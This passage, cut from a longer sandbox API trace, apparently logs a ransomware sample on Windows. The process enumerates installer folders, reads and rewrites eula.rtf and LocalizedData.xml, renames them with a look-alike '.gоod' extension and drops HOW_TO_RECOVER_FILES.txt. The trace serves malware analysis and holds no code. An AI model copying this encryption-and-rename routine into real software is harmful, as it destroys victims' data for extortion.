ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.007] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.625] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.641] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.642] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0088.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0088.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0088.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0088.643] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032", lpFilePart=0x0) returned 0x1a [0088.644] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.658] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.658] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.658] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.658] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.658] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.659] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0088.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0088.659] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0088.659] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3320548 | out: lpFileInformation=0x3320548*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac)) returned 1 [0088.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0088.660] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0088.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0088.660] GetFileType (hFile=0x768) returned 0x1 [0088.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0088.660] GetFileType (hFile=0x768) returned 0x1 [0088.660] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0088.660] ReadFile (in: hFile=0x768, lpBuffer=0x33208c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x33208c0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0088.661] CloseHandle (hObject=0x768) returned 1 [0088.661] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0088.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0088.662] GetFileType (hFile=0x768) returned 0x1 [0088.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0088.662] GetFileType (hFile=0x768) returned 0x1 [0088.662] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x22ac [0088.662] WriteFile (in: hFile=0x768, lpBuffer=0x3321bc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3321bc0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0088.663] CloseHandle (hObject=0x768) returned 1 [0088.663] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0088.663] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0088.663] GetFileType (hFile=0x768) returned 0x1 [0088.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0088.663] GetFileType (hFile=0x768) returned 0x1 [0088.663] ReadFile (in: hFile=0x768, lpBuffer=0x3323e30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3323e30*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0088.941] CloseHandle (hObject=0x768) returned 1 [0088.941] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0088.941] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0088.942] GetFileType (hFile=0x768) returned 0x1 [0088.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0088.942] GetFileType (hFile=0x768) returned 0x1 [0088.942] WriteFile (in: hFile=0x768, lpBuffer=0x326bee0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x326bee0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0088.942] CloseHandle (hObject=0x768) returned 1 [0088.942] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFilePart=0x0) returned 0x23 [0088.942] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0088.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0088.942] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x313ac930, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x22bc)) returned 1 [0088.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0088.942] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.gоod")) returned 1 [0089.337] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0089.337] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3651388 | out: lpFileInformation=0x3651388*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c)) returned 1 [0089.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0089.338] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0089.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0089.338] GetFileType (hFile=0x768) returned 0x1 [0089.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0089.338] GetFileType (hFile=0x768) returned 0x1 [0089.338] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0089.338] ReadFile (in: hFile=0x768, lpBuffer=0x3651750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3651750*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0089.339] CloseHandle (hObject=0x768) returned 1 [0089.339] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0089.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0089.339] GetFileType (hFile=0x768) returned 0x1 [0089.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0089.340] GetFileType (hFile=0x768) returned 0x1 [0089.340] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1510c [0089.340] WriteFile (in: hFile=0x768, lpBuffer=0x36529c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x36529c0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0089.340] CloseHandle (hObject=0x768) returned 1 [0089.340] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0089.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0089.341] GetFileType (hFile=0x768) returned 0x1 [0089.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0089.341] GetFileType (hFile=0x768) returned 0x1 [0089.341] ReadFile (in: hFile=0x768, lpBuffer=0x3654c58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3654c58*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0089.984] CloseHandle (hObject=0x768) returned 1 [0089.984] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0089.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0089.984] GetFileType (hFile=0x768) returned 0x1 [0089.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0089.985] GetFileType (hFile=0x768) returned 0x1 [0089.985] WriteFile (in: hFile=0x768, lpBuffer=0x32a2150*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x32a2150*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0089.985] CloseHandle (hObject=0x768) returned 1 [0089.985] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0089.985] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0089.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0089.985] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x31d8db82, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1511c)) returned 1 [0089.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0089.985] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.gоod")) returned 1 [0089.986] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0089.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0089.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0089.986] GetFileType (hFile=0x768) returned 0x1 [0089.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0089.987] GetFileType (hFile=0x768) returned 0x1 [0089.987] WriteFile (in: hFile=0x768, lpBuffer=0x341af50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x341af50*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0089.988] CloseHandle (hObject=0x768) returned 1 [0089.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0089.989] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033", lpFilePart=0x0) returned 0x1a [0089.989] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.274] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 